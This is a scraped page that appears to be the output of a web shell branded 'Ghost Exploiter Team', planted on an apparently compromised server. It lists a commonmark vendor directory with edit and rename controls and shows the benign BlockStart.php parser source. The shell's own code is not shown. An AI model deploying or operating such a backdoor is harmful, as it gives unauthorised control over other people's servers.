Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /var/www/html/back/vendor/league/commonmark/src/Parser/Block/

File / Folder	Size	Action
.	-
AbstractBlockContinuePa...	0.925KB	edt ren
BlockContinue.php	1.53KB	edt ren
BlockContinueParserInte...	1.813KB	edt ren
BlockContinueParserWith...	0.603KB	edt ren
BlockStart.php	2.657KB	edt ren
BlockStartParserInterfa...	1.048KB	edt ren
DocumentBlockParser.php	2.302KB	edt ren
ParagraphParser.php	2.184KB	edt ren
SkipLinesStartingWithLe...	1.639KB	edt ren

<?php

declare(strict_types=1);

/*
 * This file is part of the league/commonmark package.
 *
 * (c) Colin O'Dell <colinodell@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace League\CommonMark\Parser\Block;

use League\CommonMark\Parser\Cursor;
use League\CommonMark\Parser\CursorState;

/**
 * Result object for starting parsing of a block; see static methods for constructors
 */
final class BlockStart
{
    /**
     * @var BlockContinueParserInterface[]
     *
     * @psalm-readonly
     */
    private array $blockParsers;

/** @psalm-readonly-allow-private-mutation */
    private ?CursorState $cursorState = null;

/** @psalm-readonly-allow-private-mutation */
    private bool $replaceActiveBlockParser = false;

private bool $isAborting = false;

private function __construct(BlockContinueParserInterface ...$blockParsers)
    {
        $this->blockParsers = $blockParsers;
    }

/**
     * @return BlockContinueParserInterface[]
     */
    public function getBlockParsers(): iterable
    {
        return $this->blockParsers;
    }

public function getCursorState(): ?CursorState
    {
        return $this->cursorState;
    }

public function isReplaceActiveBlockParser(): bool
    {
        return $this->replaceActiveBlockParser;
    }

/**
     * @internal
     */
    public function isAborting(): bool
    {
        return $this->isAborting;
    }

/**
     * Signal that we want to parse at the given cursor position
     *
     * @return $this
     */
    public function at(Cursor $cursor): self
    {
        $this->cursorState = $cursor->saveState();

return $this;
    }

/**
     * Signal that we want to replace the active block parser with this one
     *
     * @return $this
     */
    public function replaceActiveBlockParser(): self
    {
        $this->replaceActiveBlockParser = true;

return $this;
    }

/**
     * Signal that we cannot parse whatever is here
     *
     * @return null
     */
    public static function none(): ?self
    {
        return null;
    }

/**
     * Signal that we'd like to register the given parser(s) so they can parse the current block
     */
    public static function of(BlockContinueParserInterface ...$blockParsers): self
    {
        return new self(...$blockParsers);
    }

/**
     * Signal that the block parsing process should be aborted (no other block starts should be checked)
     *
     * @internal
     */
    public static function abort(): self
    {
        $ret             = new self();
        $ret->isAborting = true;

return $ret;
    }
}

<=Back